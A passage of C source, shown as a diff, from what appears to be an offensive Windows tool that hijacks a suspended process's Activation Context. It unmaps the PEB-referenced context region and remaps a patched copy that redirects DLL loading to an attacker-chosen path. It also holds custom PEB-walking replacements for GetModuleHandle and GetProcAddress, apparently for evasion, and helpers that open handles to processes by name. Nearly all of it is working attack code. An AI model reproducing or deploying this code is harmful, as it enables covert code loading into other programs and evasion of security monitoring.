||||
ULONG rosterIdx)
|
||||
{
|
||||
ACTIVATION_CONTEXT_DATA* actx = (ACTIVATION_CONTEXT_DATA*)blob;
|
||||
ACTIVATION_CONTEXT_DATA_TOC_HEADER* toc = (ACTIVATION_CONTEXT_DATA_TOC_HEADER*)(blob + actx->DefaultTocOffset);
|
||||
ACTIVATION_CONTEXT_DATA_TOC_ENTRY* tocEntries = (ACTIVATION_CONTEXT_DATA_TOC_ENTRY*)(blob + toc->FirstEntryOffset);
|
||||
|
||||
// Locate TOC entry Id==2
|
||||
ACTIVATION_CONTEXT_DATA_TOC_ENTRY* dllToc = NULL;
|
||||
for (ULONG i = 0; i < toc->EntryCount; i++) {
|
||||
if (tocEntries[i].Id == ACTIVATION_CONTEXT_SECTION_DLL_REDIRECTION) {
|
||||
dllToc = &tocEntries[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (!dllToc) {
|
||||
fprintf(stderr, "[ERROR] PatchOrAdd: no DLL redirection section (Id==2) found.\n");
|
||||
return totalSize;
|
||||
}
|
||||
|
||||
ACTIVATION_CONTEXT_STRING_SECTION_HEADER* sshdr =
|
||||
(ACTIVATION_CONTEXT_STRING_SECTION_HEADER*)(blob + dllToc->Offset);
|
||||
BYTE* B1 = (BYTE*)sshdr;
|
||||
ULONG b1Off = dllToc->Offset;
|
||||
|
||||
ACTIVATION_CONTEXT_STRING_SECTION_ENTRY* strEntries =
|
||||
(ACTIVATION_CONTEXT_STRING_SECTION_ENTRY*)(B1 + sshdr->ElementListOffset);
|
||||
|
||||
ULONG keyByteLen = (ULONG)(wcslen(dllName) * sizeof(WCHAR));
|
||||
|
||||
// Search by case-insensitive key comparison only (skip PseudoKey check
|
||||
// since Windows may hash with different normalization)
|
||||
LONG foundIdx = -1;
|
||||
for (ULONG i = 0; i < sshdr->ElementCount; i++) {
|
||||
if (keyByteLen != strEntries[i].KeyLength) continue;
|
||||
if (!bounds_ok(B1, totalSize - b1Off,
|
||||
strEntries[i].KeyOffset,
|
||||
strEntries[i].KeyLength)) continue;
|
||||
|
||||
const WCHAR* existingKey = (const WCHAR*)(B1 + strEntries[i].KeyOffset);
|
||||
ULONG nChars = keyByteLen / sizeof(WCHAR);
|
||||
BOOL match = TRUE;
|
||||
for (ULONG c = 0; c < nChars; c++) {
|
||||
WCHAR a = existingKey[c];
|
||||
WCHAR b = dllName[c];
|
||||
if (a >= L'A' && a <= L'Z') a += (L'a' - L'A');
|
||||
if (b >= L'A' && b <= L'Z') b += (L'a' - L'A');
|
||||
if (a != b) { match = FALSE; break; }
|
||||
}
|
||||
if (match) { foundIdx = (LONG)i; break; }
|
||||
}
|
||||
|
||||
if (foundIdx >= 0) {
|
||||
printf("[+] '%ls' found at entry[%ld] -> patching path.\n", dllName, foundIdx);
|
||||
return PatchDllRedirectionEntry(blob, totalSize, (ULONG)foundIdx, redirectPath);
|
||||
} else {
|
||||
printf("[+] '%ls' not found -> adding new entry.\n", dllName);
|
||||
return AddDllRedirectionEntry(blob, totalSize, dllName, redirectPath, rosterIdx);
|
||||
}
|
||||
}
|
||||
|
||||
// Hijacks the memory region by unmapping the original Activation Context and mapping the patched one
|
||||
NTSTATUS HijackActCtx(
|
||||
fnNtReadVirtualMemory pNtReadVirtualMemory,
|
||||
fnNtCreateSection pNtCreateSection,
|
||||
fnNtMapViewOfSection pNtMapViewOfSection,
|
||||
fnNtUnmapViewOfSection pNtUnmapViewOfSection,
|
||||
fnNtQueryInformationProcess pNtQueryInformationProcess,
|
||||
HANDLE hProcess,
|
||||
void* actCtxBlob,
|
||||
SIZE_T actCtxSize
|
||||
){
|
||||
NTSTATUS status;
|
||||
|
||||
// Get PEB address of the target (suspended) process
|
||||
PROCESS_BASIC_INFORMATION pbi = { 0 };
|
||||
ULONG returnLength = 0;
|
||||
status = pNtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), &returnLength);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
printf("[ERROR] NtQueryInformationProcess failed: 0x%08lX\n", status);
|
||||
return status;
|
||||
}
|
||||
|
||||
// Read the pointer at PEB+0x2F8 (ActivationContextData) - this is the kernel-set address
|
||||
PVOID originalAddr = NULL;
|
||||
SIZE_T bytesRead = 0;
|
||||
status = pNtReadVirtualMemory(hProcess, (PVOID)((ULONG_PTR)pbi.PebBaseAddress + 0x2F8), &originalAddr, sizeof(PVOID), &bytesRead);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
printf("[ERROR] NtReadVirtualMemory (PEB.ActivationContextData) failed: 0x%08lX\n", status);
|
||||
return status;
|
||||
}
|
||||
printf("[INFO] Original PEB.ActivationContextData = %p\n", originalAddr);
|
||||
|
||||
// Create an anonymous page-file-backed section sized to our patched blob
|
||||
LARGE_INTEGER secSize;
|
||||
secSize.QuadPart = (LONGLONG)actCtxSize;
|
||||
HANDLE hSection = NULL;
|
||||
status = pNtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, &secSize, PAGE_READWRITE, SEC_COMMIT, NULL);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
printf("[ERROR] NtCreateSection failed: 0x%08lX\n", status);
|
||||
return status;
|
||||
}
|
||||
|
||||
// Map the section locally and copy the patched blob into it
|
||||
PVOID localView = NULL;
|
||||
SIZE_T localViewSize = 0;
|
||||
status = pNtMapViewOfSection(hSection, NtCurrentProcess(), &localView, 0, 0, NULL, &localViewSize, ViewUnmap, 0, PAGE_READWRITE);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
printf("[ERROR] NtMapViewOfSection (local) failed: 0x%08lX\n", status);
|
||||
CloseHandle(hSection);
|
||||
return status;
|
||||
}
|
||||
memcpy(localView, actCtxBlob, actCtxSize);
|
||||
pNtUnmapViewOfSection(NtCurrentProcess(), localView);
|
||||
printf("[SUCCESS] Patched blob written to section (%zu bytes)\n", actCtxSize);
|
||||
|
||||
// Unmap the original kernel-mapped ActivationContextData region
|
||||
status = pNtUnmapViewOfSection(hProcess, originalAddr);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
printf("[ERROR] NtUnmapViewOfSection (original) failed: 0x%08lX\n", status);
|
||||
CloseHandle(hSection);
|
||||
return status;
|
||||
}
|
||||
printf("[SUCCESS] Original Activation Context region unmapped @ %p\n", originalAddr);
|
||||
|
||||
// Remap our section at the exact same address - PEB pointer stays valid
|
||||
PVOID remoteBase = originalAddr;
|
||||
SIZE_T remoteViewSize = 0;
|
||||
status = pNtMapViewOfSection(hSection, hProcess, &remoteBase, 0, 0, NULL, &remoteViewSize, ViewUnmap, 0, PAGE_READWRITE);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
printf("[ERROR] NtMapViewOfSection (remote) failed: 0x%08lX\n", status);
|
||||
CloseHandle(hSection);
|
||||
return status;
|
||||
}
|
||||
printf("[SUCCESS] Patched Activation Context mapped at %p (same address)\n", remoteBase);
|
||||
|
||||
CloseHandle(hSection);
|
||||
return STATUS_SUCCESS;
|
||||
}
|
||||
@@ -0,0 +1,71 @@
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
#include "ntdefs.h"
|
||||
|
||||
#define EXTRA_BYTES 512 // extra space for PatchDllRedirectionEntry
|
||||
#define EXTRA_BYTES_ADD 1024 // extra space for AddDllRedirectionEntry
|
||||
|
||||
void* CopyRemoteActCtxByHandle(
|
||||
fnNtQueryInformationProcess pNtQueryInformationProcess,
|
||||
fnNtReadVirtualMemory pNtReadVirtualMemory,
|
||||
HANDLE hProcess,
|
||||
PSIZE_T actCtxSize
|
||||
);
|
||||
|
||||
static int bounds_ok(
|
||||
const BYTE* blob,
|
||||
ULONG totalSize,
|
||||
ULONG offset,
|
||||
ULONG size
|
||||
);
|
||||
|
||||
static void print_wcs(
|
||||
const WCHAR* ws,
|
||||
ULONG byteLen
|
||||
);
|
||||
|
||||
static WCHAR* assemble_path(
|
||||
const BYTE* B1,
|
||||
ULONG b1Offset,
|
||||
const ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION* redir,
|
||||
ULONG totalSize
|
||||
);
|
||||
|
||||
void ParseDllRedirections(
|
||||
const BYTE* blob,
|
||||
ULONG totalSize
|
||||
);
|
||||
|
||||
ULONG PatchDllRedirectionEntry(
|
||||
BYTE* blob,
|
||||
ULONG totalSize,
|
||||
ULONG entryIdx,
|
||||
const WCHAR* redirectPath
|
||||
);
|
||||
|
||||
ULONG AddDllRedirectionEntry(
|
||||
BYTE* blob,
|
||||
ULONG totalSize,
|
||||
const WCHAR* dllName,
|
||||
const WCHAR* redirectPath,
|
||||
ULONG rosterIdx
|
||||
);
|
||||
|
||||
ULONG PatchOrAddDllRedirection(
|
||||
BYTE* blob,
|
||||
ULONG totalSize,
|
||||
const WCHAR* dllName,
|
||||
const WCHAR* redirectPath,
|
||||
ULONG rosterIdx
|
||||
);
|
||||
|
||||
NTSTATUS HijackActCtx(
|
||||
fnNtReadVirtualMemory pNtReadVirtualMemory,
|
||||
fnNtCreateSection pNtCreateSection,
|
||||
fnNtMapViewOfSection pNtMapViewOfSection,
|
||||
fnNtUnmapViewOfSection pNtUnmapViewOfSection,
|
||||
fnNtQueryInformationProcess pNtQueryInformationProcess,
|
||||
HANDLE hProcess,
|
||||
void* actCtxBlob,
|
||||
SIZE_T actCtxSize
|
||||
);
|
||||
@@ -0,0 +1,63 @@
|
||||
#include <stdlib.h>
|
||||
#include <wchar.h>
|
||||
|
||||
#include "c_runtime.h"
|
||||
|
||||
// Translate char to wchar_t strings
|
||||
wchar_t *phantom_char_to_wchar_ascii(const char *src) {
|
||||
if (!src) return NULL;
|
||||
|
||||
size_t len = 0;
|
||||
while (src[len]) len++;
|
||||
|
||||
wchar_t *dst = malloc((len + 1) * sizeof(wchar_t));
|
||||
if (!dst) return NULL;
|
||||
|
||||
for (size_t i = 0; i < len; i++)
|
||||
dst[i] = (wchar_t)(unsigned char)src[i]; // (unsigned char) avoids sign extension for bytes > 127
|
||||
dst[len] = L'\0';
|
||||
|
||||
return dst;
|
||||
}
|
||||
|
||||
// Custom wcscmp
|
||||
int phantom_wcscmp(const wchar_t *s1, const wchar_t *s2) {
|
||||
while (*s1 && (*s1 == *s2)) {
|
||||
s1++;
|
||||
s2++;
|
||||
}
|
||||
return (int)(*s1 - *s2);
|
||||
}
|
||||
|
||||
// Custom lstrcmpiW
|
||||
static wchar_t phantom_to_lower_w(wchar_t c)
|
||||
{
|
||||
if (c >= L'A' && c <= L'Z')
|
||||
return c + (L'a' - L'A');
|
||||
return c;
|
||||
}
|
||||
|
||||
int phantom_lstrcmpiW(const wchar_t *s1, const wchar_t *s2)
|
||||
{
|
||||
if (!s1 && !s2) return 0;
|
||||
if (!s1) return -1;
|
||||
if (!s2) return 1;
|
||||
|
||||
while (*s1 && *s2)
|
||||
{
|
||||
wchar_t c1 = phantom_to_lower_w(*s1);
|
||||
wchar_t c2 = phantom_to_lower_w(*s2);
|
||||
|
||||
if (c1 != c2)
|
||||
return (c1 > c2) ? 1 : -1;
|
||||
|
||||
s1++;
|
||||
s2++;
|
||||
}
|
||||
|
||||
wchar_t c1 = phantom_to_lower_w(*s1);
|
||||
wchar_t c2 = phantom_to_lower_w(*s2);
|
||||
|
||||
if (c1 == c2) return 0;
|
||||
return (c1 > c2) ? 1 : -1;
|
||||
}
|
||||
@@ -0,0 +1,21 @@
|
||||
#pragma once
|
||||
#include <wchar.h>
|
||||
|
||||
// Custom C-RunTime functions
|
||||
wchar_t *phantom_char_to_wchar_ascii(
|
||||
const char *src
|
||||
);
|
||||
|
||||
int phantom_wcscmp(
|
||||
const wchar_t *s1,
|
||||
const wchar_t *s2
|
||||
);
|
||||
|
||||
static wchar_t phantom_to_lower_w(
|
||||
wchar_t c
|
||||
);
|
||||
|
||||
int phantom_lstrcmpiW(
|
||||
const wchar_t *s1,
|
||||
const wchar_t *s2
|
||||
);
|
||||
@@ -0,0 +1,56 @@
|
||||
#include <Windows.h>
|
||||
#include <winternl.h>
|
||||
#include "c_runtime.h"
|
||||
|
||||
// Custom implementation of GetModuleHandleW
|
||||
HMODULE phantom_GetModuleHandleW(IN LPCWSTR szModuleName) {
|
||||
// Indirect PEB access
|
||||
PTEB pTeb = (PTEB)_readgsbase_u64();
|
||||
PPEB pPeb = *(PPEB*)((BYTE*)pTeb + 0x60);
|
||||
PLDR_DATA_TABLE_ENTRY pDte = (PLDR_DATA_TABLE_ENTRY)(pPeb->Ldr->InMemoryOrderModuleList.Flink);
|
||||
PLIST_ENTRY pListHead = (PLIST_ENTRY)&pPeb->Ldr->InMemoryOrderModuleList;
|
||||
PLIST_ENTRY pListNode = (PLIST_ENTRY)pListHead->Flink;
|
||||
|
||||
do {
|
||||
if (pDte->FullDllName.Length != 0) {
|
||||
|
||||
// Extract filename from full path (find last backslash)
|
||||
WCHAR* fullName = pDte->FullDllName.Buffer;
|
||||
WCHAR* fileName = fullName;
|
||||
for (WCHAR* p = fullName; *p; p++) {
|
||||
if (*p == L'\\') fileName = p + 1;
|
||||
}
|
||||
|
||||
// Case-insensitive compare against filename only
|
||||
if (phantom_lstrcmpiW(fileName, szModuleName) == 0) {
|
||||
return (HMODULE)(pDte->Reserved2[0]);
|
||||
}
|
||||
|
||||
// Advance to next entry
|
||||
pDte = (PLDR_DATA_TABLE_ENTRY)(pListNode->Flink);
|
||||
pListNode = (PLIST_ENTRY)pListNode->Flink;
|
||||
}
|
||||
} while (pListNode != pListHead);
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// Custom implementation of GetProcAddressA
|
||||
FARPROC phantom_GetProcAddressA(HMODULE hModule, LPCSTR lpProcName) {
|
||||
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)hModule;
|
||||
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((BYTE*)hModule + dosHeader->e_lfanew);
|
||||
PIMAGE_EXPORT_DIRECTORY exportDirectory = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)hModule +
|
||||
ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
|
||||
|
||||
DWORD* addressOfFunctions = (DWORD*)((BYTE*)hModule + exportDirectory->AddressOfFunctions);
|
||||
WORD* addressOfNameOrdinals = (WORD*)((BYTE*)hModule + exportDirectory->AddressOfNameOrdinals);
|
||||
DWORD* addressOfNames = (DWORD*)((BYTE*)hModule + exportDirectory->AddressOfNames);
|
||||
|
||||
for (DWORD i = 0; i < exportDirectory->NumberOfNames; ++i) {
|
||||
if (strcmp(lpProcName, (const char*)hModule + addressOfNames[i]) == 0) {
|
||||
return (FARPROC)((BYTE*)hModule + addressOfFunctions[addressOfNameOrdinals[i]]);
|
||||
}
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
|
||||
HMODULE phantom_GetModuleHandleW(
|
||||
LPCWSTR szModuleName
|
||||
);
|
||||
|
||||
FARPROC phantom_GetProcAddressA(
|
||||
HMODULE hModule,
|
||||
LPCSTR lpProcName
|
||||
);
|
||||
@@ -0,0 +1,194 @@
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
#include <winternl.h>
|
||||
|
||||
/************************* Defines *************************/
|
||||
|
||||
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
|
||||
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
|
||||
|
||||
#define NtCurrentProcess() ((HANDLE)(LONG_PTR)-1)
|
||||
|
||||
#define PCLIENT_ID CLIENT_ID*
|
||||
|
||||
/* Activation Context related */
|
||||
#define ACTX_MAGIC 0x78746341UL /* "Actx" */
|
||||
#define STRING_SECTION_MAGIC 0x64487353UL /* "SsHd" */
|
||||
|
||||
#ifndef ACTIVATION_CONTEXT_SECTION_DLL_REDIRECTION
|
||||
#define ACTIVATION_CONTEXT_SECTION_DLL_REDIRECTION 2
|
||||
#endif
|
||||
|
||||
#ifndef ACTIVATION_CONTEXT_SECTION_FORMAT_STRING_TABLE
|
||||
#define ACTIVATION_CONTEXT_SECTION_FORMAT_STRING_TABLE 1
|
||||
#endif
|
||||
|
||||
// Manifest DLL Redirection flags
|
||||
#define ACTX_DLL_REDIR_PATH_INCLUDES_BASE_NAME 0x00000001
|
||||
#define ACTX_DLL_REDIR_OMITS_ASSEMBLY_ROOT 0x00000002
|
||||
#define ACTX_DLL_REDIR_EXPAND 0x00000004
|
||||
#define ACTX_DLL_REDIR_SYSTEM_DEFAULT_REDIRECTED 0x00000008
|
||||
|
||||
// Given a Activation Context blob base pointer and a byte offset, returns a pointer of type T (specified by user).
|
||||
// Avoids repeating the (T*)((BYTE*)(base) + offset) pattern everywhere.
|
||||
#define BLOB_PTR(base, offset, T) \
|
||||
((T*)((BYTE*)(base) + (offset)))
|
||||
|
||||
/************************* Enums *************************/
|
||||
|
||||
typedef enum _SECTION_INHERIT
|
||||
{
|
||||
ViewShare = 1, // The mapped view of the section will be mapped into any child processes created by the process.
|
||||
ViewUnmap = 2 // The mapped view of the section will not be mapped into any child processes created by the process.
|
||||
} SECTION_INHERIT;
|
||||
|
||||
/************************* Structs *************************/
|
||||
|
||||
typedef struct _ACTIVATION_CONTEXT_DATA
|
||||
{
|
||||
ULONG Magic;
|
||||
ULONG HeaderSize;
|
||||
ULONG FormatVersion;
|
||||
ULONG TotalSize;
|
||||
ULONG DefaultTocOffset; // to ACTIVATION_CONTEXT_DATA_TOC_HEADER
|
||||
ULONG ExtendedTocOffset; // to ACTIVATION_CONTEXT_DATA_EXTENDED_TOC_HEADER
|
||||
ULONG AssemblyRosterOffset; // to ACTIVATION_CONTEXT_DATA_ASSEMBLY_ROSTER_HEADER
|
||||
ULONG Flags; // ACTIVATION_CONTEXT_FLAG_*
|
||||
} ACTIVATION_CONTEXT_DATA, *PACTIVATION_CONTEXT_DATA;
|
||||
|
||||
typedef struct _ACTIVATION_CONTEXT_DATA_TOC_HEADER {
|
||||
ULONG HeaderSize;
|
||||
ULONG EntryCount;
|
||||
ULONG FirstEntryOffset; // from B0
|
||||
ULONG Flags;
|
||||
} ACTIVATION_CONTEXT_DATA_TOC_HEADER;
|
||||
|
||||
typedef struct _ACTIVATION_CONTEXT_DATA_TOC_ENTRY {
|
||||
ULONG Id;
|
||||
ULONG Offset; // from B0
|
||||
ULONG Length;
|
||||
ULONG Format;
|
||||
} ACTIVATION_CONTEXT_DATA_TOC_ENTRY;
|
||||
|
||||
typedef struct _ACTIVATION_CONTEXT_STRING_SECTION_HEADER {
|
||||
ULONG Magic;
|
||||
ULONG HeaderSize;
|
||||
ULONG FormatVersion;
|
||||
ULONG DataFormatVersion;
|
||||
ULONG Flags;
|
||||
ULONG ElementCount;
|
||||
ULONG ElementListOffset; // from B1
|
||||
ULONG HashAlgorithm;
|
||||
ULONG SearchStructureOffset; // from B1
|
||||
ULONG UserDataOffset; // from B1
|
||||
ULONG UserDataSize;
|
||||
} ACTIVATION_CONTEXT_STRING_SECTION_HEADER;
|
||||
|
||||
typedef struct _ACTIVATION_CONTEXT_STRING_SECTION_ENTRY {
|
||||
ULONG PseudoKey;
|
||||
ULONG KeyOffset; // from B1
|
||||
ULONG KeyLength; // in bytes
|
||||
ULONG Offset; // from B1
|
||||
ULONG Length;
|
||||
ULONG AssemblyRosterIndex;
|
||||
} ACTIVATION_CONTEXT_STRING_SECTION_ENTRY;
|
||||
|
||||
typedef struct _ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION {
|
||||
ULONG Size;
|
||||
ULONG Flags;
|
||||
ULONG TotalPathLength; // in bytes
|
||||
ULONG PathSegmentCount;
|
||||
ULONG PathSegmentOffset; // from B1
|
||||
} ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION;
|
||||
|
||||
typedef struct _ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_SEGMENT {
|
||||
ULONG Length; // in bytes
|
||||
ULONG Offset; // from B1
|
||||
} ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_SEGMENT;
|
||||
|
||||
|
||||
/************************* NT Function Typedefs *************************/
|
||||
|
||||
// CreateProcessW from kernel32.dll
|
||||
typedef BOOL (*fnCreateProcessW)(
|
||||
LPCWSTR lpApplicationName,
|
||||
LPWSTR lpCommandLine,
|
||||
LPSECURITY_ATTRIBUTES lpProcessAttributes,
|
||||
LPSECURITY_ATTRIBUTES lpThreadAttributes,
|
||||
BOOL bInheritHandles,
|
||||
DWORD dwCreationFlags,
|
||||
LPVOID lpEnvironment,
|
||||
LPCWSTR lpCurrentDirectory,
|
||||
LPSTARTUPINFOW lpStartupInfo,
|
||||
LPPROCESS_INFORMATION lpProcessInformation
|
||||
);
|
||||
|
||||
// ResumeThread from kernel32.dll
|
||||
typedef DWORD (*fnResumeThread)(
|
||||
HANDLE hThread
|
||||
);
|
||||
|
||||
// NtQueryInformationProcess
|
||||
typedef NTSTATUS (*fnNtQueryInformationProcess)(
|
||||
HANDLE ProcessHandle,
|
||||
PROCESSINFOCLASS ProcessInformationClass,
|
||||
PVOID ProcessInformation,
|
||||
ULONG ProcessInformationLength,
|
||||
PULONG ReturnLength
|
||||
);
|
||||
|
||||
// NtReadVirtualMemory
|
||||
typedef NTSTATUS (*fnNtReadVirtualMemory)(
|
||||
HANDLE ProcessHandle,
|
||||
PVOID BaseAddress,
|
||||
PVOID Buffer,
|
||||
SIZE_T NumberOfBytesToRead,
|
||||
PSIZE_T NumberOfBytesRead
|
||||
);
|
||||
|
||||
// NtQuerySystemInformation
|
||||
typedef NTSTATUS (*fnNtQuerySystemInformation)(
|
||||
SYSTEM_INFORMATION_CLASS SystemInformationClass,
|
||||
PVOID SystemInformation,
|
||||
ULONG SystemInformationLength,
|
||||
PULONG ReturnLength
|
||||
);
|
||||
|
||||
// NtOpenProcess
|
||||
typedef NTSTATUS (*fnNtOpenProcess)(
|
||||
PHANDLE ProcessHandle,
|
||||
ACCESS_MASK DesiredAccess,
|
||||
POBJECT_ATTRIBUTES ObjectAttributes,
|
||||
PCLIENT_ID ClientId
|
||||
);
|
||||
|
||||
// NtCreateSection
|
||||
typedef NTSTATUS (*fnNtCreateSection)(
|
||||
PHANDLE SectionHandle,
|
||||
ACCESS_MASK DesiredAccess,
|
||||
POBJECT_ATTRIBUTES ObjectAttributes,
|
||||
PLARGE_INTEGER MaximumSize,
|
||||
ULONG SectionPageProtection,
|
||||
ULONG AllocationAttributes,
|
||||
HANDLE FileHandle
|
||||
);
|
||||
|
||||
// NtMapViewOfSection
|
||||
typedef NTSTATUS (*fnNtMapViewOfSection)(
|
||||
HANDLE SectionHandle,
|
||||
HANDLE ProcessHandle,
|
||||
PVOID *BaseAddress,
|
||||
ULONG_PTR ZeroBits,
|
||||
SIZE_T CommitSize,
|
||||
PLARGE_INTEGER SectionOffset,
|
||||
PSIZE_T ViewSize,
|
||||
SECTION_INHERIT InheritDisposition,
|
||||
ULONG AllocationType,
|
||||
ULONG PageProtection
|
||||
);
|
||||
|
||||
// NtUnmapViewOfSection
|
||||
typedef NTSTATUS (NTAPI *fnNtUnmapViewOfSection)(
|
||||
_In_ HANDLE ProcessHandle,
|
||||
_In_opt_ PVOID BaseAddress
|
||||
);
|
||||
@@ -0,0 +1,85 @@
|
||||
#include <Windows.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include "c_runtime.h"
|
||||
#include "process_utils.h"
|
||||
#include "ntdefs.h"
|
||||
|
||||
// Opens a handle to a process by PID with the specified access rights
|
||||
HANDLE GetProcessHandleByPid(fnNtOpenProcess pNtOpenProcess, DWORD pid, ACCESS_MASK desiredAccess){
|
||||
|
||||
NTSTATUS status = 0;
|
||||
|
||||
// Process Info
|
||||
HANDLE hProcess = NULL;
|
||||
OBJECT_ATTRIBUTES objPsAttr;
|
||||
InitializeObjectAttributes(&objPsAttr, NULL, 0, NULL, NULL);
|
||||
CLIENT_ID clientId = {(HANDLE)(ULONG_PTR)pid, (HANDLE)0};
|
||||
|
||||
// Get Remote Process Handle
|
||||
status = pNtOpenProcess(&hProcess, desiredAccess, &objPsAttr, &clientId);
|
||||
|
||||
if (!NT_SUCCESS(status)) {
|
||||
printf("[ERROR] NtOpenProcess failed. Status: 0x%08lX\n", (unsigned long)status);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
printf("[SUCCESS] Opened handle to PID %u\n", pid);
|
||||
|
||||
return hProcess;
|
||||
}
|
||||
|
||||
// Finds a process by name in the system process list and returns a handle with the specified access rights
|
||||
HANDLE GetProcessHandleByName(
|
||||
fnNtQuerySystemInformation pNtQuerySystemInformation,
|
||||
fnNtOpenProcess pNtOpenProcess,
|
||||
const WCHAR* ps_name,
|
||||
ACCESS_MASK desiredAccess
|
||||
){
|
||||
NTSTATUS status = 0;
|
||||
|
||||
// NtQuerySystemInformation required vars
|
||||
DWORD pid = 0;
|
||||
void* outbuffer = NULL;
|
||||
ULONG outbuff_size = 0;
|
||||
|
||||
// Find out required buffer size
|
||||
pNtQuerySystemInformation(SystemProcessInformation, NULL, 0, &outbuff_size);
|
||||
|
||||
// Allocate output buffer memory and call the function again
|
||||
outbuffer = malloc(outbuff_size);
|
||||
pNtQuerySystemInformation(SystemProcessInformation, outbuffer, outbuff_size, &outbuff_size);
|
||||
|
||||
PSYSTEM_PROCESS_INFORMATION spi = outbuffer;
|
||||
|
||||
// Walk process list and match by ImageName
|
||||
while (1) {
|
||||
if (spi->ImageName.Buffer != NULL &&
|
||||
phantom_lstrcmpiW(spi->ImageName.Buffer, ps_name) == 0) {
|
||||
pid = (DWORD)(ULONG_PTR)spi->UniqueProcessId;
|
||||
break;
|
||||
}
|
||||
if (spi->NextEntryOffset == 0)
|
||||
break;
|
||||
spi = (PSYSTEM_PROCESS_INFORMATION)((BYTE*)spi + spi->NextEntryOffset);
|
||||
}
|
||||
|
||||
free(outbuffer);
|
||||
|
||||
if(!pid){
|
||||
printf("[ERROR] Couldn't identify PID for process '%ls'\n", ps_name);
|
||||
return (HANDLE)0;
|
||||
}
|
||||
|
||||
printf("[SUCCESS] Found '%ls' PID %lu\n", ps_name, pid);
|
||||
|
||||
// Delegate handle opening to GetProcessHandleByPid
|
||||
HANDLE hProcess = GetProcessHandleByPid(pNtOpenProcess, pid, desiredAccess);
|
||||
|
||||
if (!hProcess) {
|
||||
printf("[ERROR] Couldn't get process handle for '%ls'\n", ps_name);
|
||||
return (HANDLE)0;
|
||||
}
|
||||
|
||||
return hProcess;
|
||||
}
|
||||
@@ -0,0 +1,16 @@
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
#include "ntdefs.h"
|
||||
|
||||
HANDLE GetProcessHandleByPid(
|
||||
fnNtOpenProcess pNtOpenProcess,
|
||||
DWORD pid,
|
||||
ACCESS_MASK desiredAccess
|
||||
);
|
||||
|
||||
HANDLE GetProcessHandleByName(
|
||||
fnNtQuerySystemInformation pNtQuerySystemInformation,
|
||||
fnNtOpenProcess pNtOpenProcess,
|
||||
const WCHAR* targetName,
|
||||
ACCESS_MASK desiredAccess
|
||||
);
|
||||
@@ -0,0 +1,241 @@
|
||||
#include <Windows.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include "utils\utils.h"
|
||||
#include "recon\recon.h"
|
||||
#include "spawn\spawn.h"
|
||||
#include "runtime\runtime.h"
|
||||
|
||||
// Returns the value of a flag, or NULL if not found
|
||||
char* getArg(int argc, char** argv, const char* flag) {
|
||||
for (int i = 1; i < argc - 1; i++) {
|
||||
if (strcmp(argv[i], flag) == 0) {
|
||||
return argv[i + 1];
|
||||
}
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// Returns TRUE if a flag exists
|
||||
BOOL hasArg(int argc, char** argv, const char* flag) {
|
||||
for (int i = 1; i < argc; i++) {
|
||||
if (strcmp(argv[i], flag) == 0) return TRUE;
|
||||
}
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Validates that no unknown flags are present for a given mode
|
||||
// validFlags: NULL-terminated array of valid flag strings
|
||||
BOOL validateArgs(int argc, char** argv, const char** validFlags) {
|
||||
for (int i = 1; i < argc; i++) {
|
||||
if (argv[i][0] == '-') {
|
||||
BOOL known = FALSE;
|
||||
for (int j = 0; validFlags[j] != NULL; j++) {
|
||||
if (strcmp(argv[i], validFlags[j]) == 0) {
|
||||
known = TRUE;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (!known) {
|
||||
fprintf(stderr, "[ERROR] Unknown argument '%s'.\n\n", argv[i]);
|
||||
return FALSE;
|
||||
}
|
||||
if (i + 1 < argc) i++; // skip flag value if present
|
||||
} else if (i > 1 &&
|
||||
strcmp(argv[i - 1], "-m") != 0 &&
|
||||
strcmp(argv[i - 1], "-s") != 0 &&
|
||||
strcmp(argv[i - 1], "-p") != 0) {
|
||||
fprintf(stderr, "[ERROR] Unexpected argument '%s'.\n\n", argv[i]);
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
int main(int argc, char** argv) {
|
||||
|
||||
if (argc < 2) {
|
||||
helpPanel();
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Global --help/-h without -m
|
||||
if (!hasArg(argc, argv, "-m")) {
|
||||
if (hasArg(argc, argv, "--help") || hasArg(argc, argv, "-h")) {
|
||||
helpPanel();
|
||||
return 0;
|
||||
}
|
||||
fprintf(stderr, "[ERROR] No mode specified. Use -m [MODE].\n\n");
|
||||
helpPanel();
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Parse -m [MODE]
|
||||
char* mode = getArg(argc, argv, "-m");
|
||||
if (mode == NULL) {
|
||||
fprintf(stderr, "[ERROR] -m requires a mode argument.\n\n");
|
||||
helpPanel();
|
||||
return 1;
|
||||
}
